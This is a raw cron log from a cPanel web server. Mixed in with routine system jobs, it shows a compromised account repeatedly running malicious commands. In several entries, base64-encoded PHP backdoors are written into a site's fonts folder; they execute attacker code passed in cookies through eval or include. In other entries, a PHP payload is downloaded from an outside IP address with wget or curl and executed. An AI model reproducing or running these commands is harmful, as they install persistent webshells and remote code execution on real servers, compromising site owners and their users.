Feb 22 13:53:01 ip-184-168-122-23 CROND[6932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:53:01 ip-184-168-122-23 CROND[6934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:54:01 ip-184-168-122-23 CROND[7254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:54:01 ip-184-168-122-23 CROND[7257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:54:01 ip-184-168-122-23 CROND[7258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:54:01 ip-184-168-122-23 CROND[7256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:54:01 ip-184-168-122-23 CROND[7259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:55:01 ip-184-168-122-23 CROND[7577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:55:01 ip-184-168-122-23 CROND[7580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:55:01 ip-184-168-122-23 CROND[7579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:55:01 ip-184-168-122-23 CROND[7581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:55:01 ip-184-168-122-23 CROND[7582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:55:01 ip-184-168-122-23 CROND[7583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:56:01 ip-184-168-122-23 CROND[8012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:56:01 ip-184-168-122-23 CROND[8014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:56:01 ip-184-168-122-23 CROND[8013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:56:01 ip-184-168-122-23 CROND[8019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:56:01 ip-184-168-122-23 CROND[8017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:57:01 ip-184-168-122-23 CROND[8324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:57:01 ip-184-168-122-23 CROND[8325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:57:01 ip-184-168-122-23 CROND[8327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:57:01 ip-184-168-122-23 CROND[8326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:58:01 ip-184-168-122-23 CROND[8643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:58:01 ip-184-168-122-23 CROND[8645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:58:01 ip-184-168-122-23 CROND[8647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:58:01 ip-184-168-122-23 CROND[8646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:58:01 ip-184-168-122-23 CROND[8648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:59:01 ip-184-168-122-23 CROND[8966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:59:01 ip-184-168-122-23 CROND[8970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:59:01 ip-184-168-122-23 CROND[8971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:59:01 ip-184-168-122-23 CROND[8972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9305]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:00:01 ip-184-168-122-23 CROND[9310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:00:01 ip-184-168-122-23 CROND[9315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:00:01 ip-184-168-122-23 CROND[9316]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 14:01:01 ip-184-168-122-23 CROND[9652]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 14:01:01 ip-184-168-122-23 CROND[9653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9652]: starting 0anacron
Feb 22 14:01:01 ip-184-168-122-23 CROND[9660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:01:01 ip-184-168-122-23 CROND[9663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:01:01 ip-184-168-122-23 CROND[9661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:01:01 ip-184-168-122-23 CROND[9664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9672]: finished 0anacron
Feb 22 14:02:01 ip-184-168-122-23 CROND[10002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:02:01 ip-184-168-122-23 CROND[10004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:02:01 ip-184-168-122-23 CROND[10005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:02:01 ip-184-168-122-23 CROND[10007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:02:01 ip-184-168-122-23 CROND[10006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:03:01 ip-184-168-122-23 CROND[10317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:03:01 ip-184-168-122-23 CROND[10320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:03:01 ip-184-168-122-23 CROND[10319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:03:01 ip-184-168-122-23 CROND[10322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:04:01 ip-184-168-122-23 CROND[10715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:04:01 ip-184-168-122-23 CROND[10716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:04:01 ip-184-168-122-23 CROND[10718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:04:01 ip-184-168-122-23 CROND[10717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:04:01 ip-184-168-122-23 CROND[10719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:05:01 ip-184-168-122-23 CROND[11054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
